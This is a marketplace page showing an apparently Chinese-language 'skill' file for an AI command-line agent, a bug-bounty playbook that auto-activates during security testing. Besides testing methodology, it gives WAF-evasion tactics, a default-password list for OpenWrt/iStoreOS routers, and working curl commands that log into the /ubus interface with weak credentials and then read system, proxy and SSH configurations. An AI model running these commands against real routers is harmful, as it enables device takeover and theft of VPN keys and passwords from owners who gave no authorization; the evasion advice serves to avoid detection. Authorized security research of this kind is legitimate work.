vega

分类: 测试与安全 | 上传者: Mar1oo | 下载: 0 | 版本: v1.0（最新）
漏洞赏金猎人专项技能包。当用户进行漏洞赏金测试、安全研究、挖洞时自动激活。包含：逻辑漏洞测试方法论、信息泄露检测技巧、WAF绕过策略、历史目标经验库、各技术栈漏洞特征。每次使用后自动学习成长。
更新日志: Source: GitHub https://github.com/Mar1oo/VEGA
目录结构

当前层级: tree/main/skills/vega/
📄 SKILL.md 6.2 KB
SKILL.md

---
name: vega
description: 漏洞赏金猎人专项技能包。当用户进行漏洞赏金测试、安全研究、挖洞时自动激活。包含：逻辑漏洞测试方法论、信息泄露检测技巧、WAF绕过策略、历史目标经验库、各技术栈漏洞特征。每次使用后自动学习成长。
license: Proprietary. For authorized security research only.
---

# Bug Bounty Hunter Skill

## 概述

这个 Skill 为 iFlow CLI 提供漏洞赏金猎人的专业知识。当你开始对目标进行安全测试时，这个 Skill 会自动加载。

## 🔍 联网搜索能力（重要！）

**遇到不熟悉的技术栈、CVE、WAF 绕过技术时，必须联网搜索最新信息！**

### 搜索场景与关键词

| 场景 | 搜索关键词模板 |
|------|---------------|
| 新版本技术栈漏洞 | `{框架名} {版本号} CVE vulnerability RCE 2024` |
| 已知 CVE 的 PoC | `CVE-YYYY-XXXX exploit PoC github` |
| WAF 绕过技术 | `{WAF名称} bypass {漏洞类型} 2024 technique` |
| 默认密钥/配置 | `{产品名} default password key list` |
| 新利用方法 | `{漏洞类型} bypass technique 2024 2025` |

### 搜索优先级

1. **GitHub PoC**：`site:github.com {CVE号} exploit`
2. **技术博客**：详细分析和复现步骤
3. **官方公告**：确认修复版本，判断目标是否已修复

### 常用搜索模式

```
# 技术栈漏洞
web_search: "Spring Boot 3.x actuator vulnerability exploit 2024"
web_search: "Apache Shiro rememberMe key list 2024 deserialization"

# WAF 绕过
web_search: "Cloudflare WAF SQL injection bypass technique 2024"
web_search: "ModSecurity CRS bypass payload"

# 特定 CVE
web_search: "CVE-2024-21763 FortiOS RCE PoC"
web_search: "Log4j CVE-2021-44228 exploit payload github"
```

## 核心方法论

### 优先级矩阵（按性价比排序）

```
1. 🥇 信息泄露（最高性价比）
   - JS文件API密钥/硬编码凭据
   - .env/配置文件暴露  
   - Git仓库暴露（可恢复源码）
   - Swagger/API文档暴露
   
   原因：零漏洞技能要求，发现即报告，成功率高

2. 🥈 IDOR（越权访问）
   - 水平越权（A看B的数据）
   - 垂直越权（普通用户调管理接口）
   - 未授权API访问
   
   原因：大多数应用都有，修复复杂，赏金稳定

3. 🥉 认证逻辑缺陷
   - 密码重置Token问题
   - OAuth流程缺陷
   - Session管理问题
   
   原因：危害高，修复周期长，赏金高

4. 💰 支付/业务逻辑
   - 价格参数篡改
   - 并发竞争条件
   - 状态机绕过
   
   原因：赏金最高，但需要深度理解业务

5. ⚡ 其他（仅在有WAF保护时降优先级）
   - 传统Web漏洞（XSS/SQLi）
   - 服务器端漏洞
```

### WAF 存在时的策略

```
检测到WAF？
  ↓
完全放弃漏扫工具 → 100%手工测试
  ↓
专注逻辑漏洞（WAF对业务逻辑无效）
  ↓
低频率请求（2-5秒间隔）
  ↓
使用真实浏览器UA
  ↓
专注接口参数篡改，不注入特殊字符
```

## 记忆系统

每次测试后，经验会写入以下文件（自动积累）：

```
~/.iflow/vega-memory/
├── lessons-learned.md      # 每次测试的经验教训
├── target-patterns.json    # 技术栈 → 漏洞类型映射
├── waf-bypass.md           # WAF绕过技巧
└── checklist.md            # 不断优化的测试清单
```

### 记忆读取

新测试开始时，系统自动执行：
```bash
cat ~/.iflow/vega-memory/checklist.md     # 当前最优测试清单
cat ~/.iflow/vega-memory/lessons-learned.md | tail -100  # 最近经验
```

## 快速参考：各技术栈必测项

| 技术栈 | 优先测试 | 常见漏洞 |
|--------|---------|---------|
| Laravel | /.env, /api/user | 配置泄露, Debug模式 |
| WordPress | /wp-json/v2/users | 用户枚举, 插件漏洞 |
| Spring Boot | /actuator/env | Actuator信息泄露 |
| GraphQL | 内省查询 | Schema泄露, 未授权Mutation |
| **OpenWrt/iStoreOS** | **/ubus, /cgi-bin/luci** | **弱密码, JSON-RPC未授权** |
| 任意 | JS文件分析 | API密钥硬编码 |

## 🔴 OpenWrt/路由器专属测试（高优先级！）

### 必测接口

| 接口 | 说明 | 攻击方式 |
|------|------|---------|
| `/ubus` | JSON-RPC 接口 | 弱密码登录 → 完全控制系统 |
| `/cgi-bin/luci` | LuCI 管理界面 | 默认密码、认证绕过 |
| `:7681` | ttyd Web终端 | 未授权访问 |

### 默认密码字典

```
# OpenWrt / iStoreOS 常见弱密码
root:           # 空密码（最常见）
root:root
root:password   # ⭐ 最常见！
root:admin
root:123456
admin:admin
admin:password
```

### /ubus 弱密码测试脚本

```bash
# 快速测试
curl -sk -X POST -H "Content-Type: application/json" \
  "https://TARGET/ubus" \
  -d '{"jsonrpc":"2.0","id":1,"method":"call","params":["00000000000000000000000000000000","session","login",{"username":"root","password":"password"}]}'

# 如果返回 "ubus_rpc_session" = 成功！
```

### 登录成功后的利用

```bash
SESSION="获取到的session"

# 获取系统信息
curl -sk -X POST "https://TARGET/ubus" \
  -d "{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"call\",\"params\":[\"$SESSION\",\"system\",\"board\",{}]}"

# 读取配置（OpenClash/ZeroTier等）
curl -sk -X POST "https://TARGET/ubus" \
  -d "{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"call\",\"params\":[\"$SESSION\",\"uci\",\"get\",{\"config\":\"openclash\"}]}"

# 读取 SSH 配置
curl -sk -X POST "https://TARGET/ubus" \
  -d "{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"call\",\"params\":[\"$SESSION\",\"uci\",\"get\",{\"config\":\"dropbear\"}]}"
```

### 危害等级

发现 `/ubus` + 弱密码 = **CRITICAL (CVSS 9.8)**
- 完全控制路由器
- 读取所有配置（VPN私钥、代理订阅、密码）
- 修改防火墙规则
- 截获所有流量
- 横向移动到内网

## 高价值测试清单

以下清单经过历史测试验证，命中率最高：

- [ ] crt.sh 查子域名（重点关注 dev/staging/test）
- [ ] 下载所有JS文件，提取API接口列表
- [ ] 测试 /.env, /.git/HEAD, /swagger.json
- [ ] 注册两账号，测试所有接口的IDOR
- [ ] 密码重置流程全路径测试
- [ ] API响应字段过度暴露检测
- [ ] GraphQL 内省查询（如适用）
- [ ] 无Token访问需要认证的接口
登录后下载/点赞/收藏 ❤ 5 | ★ 0
vega

目录结构

SKILL.md

举报内容

提示
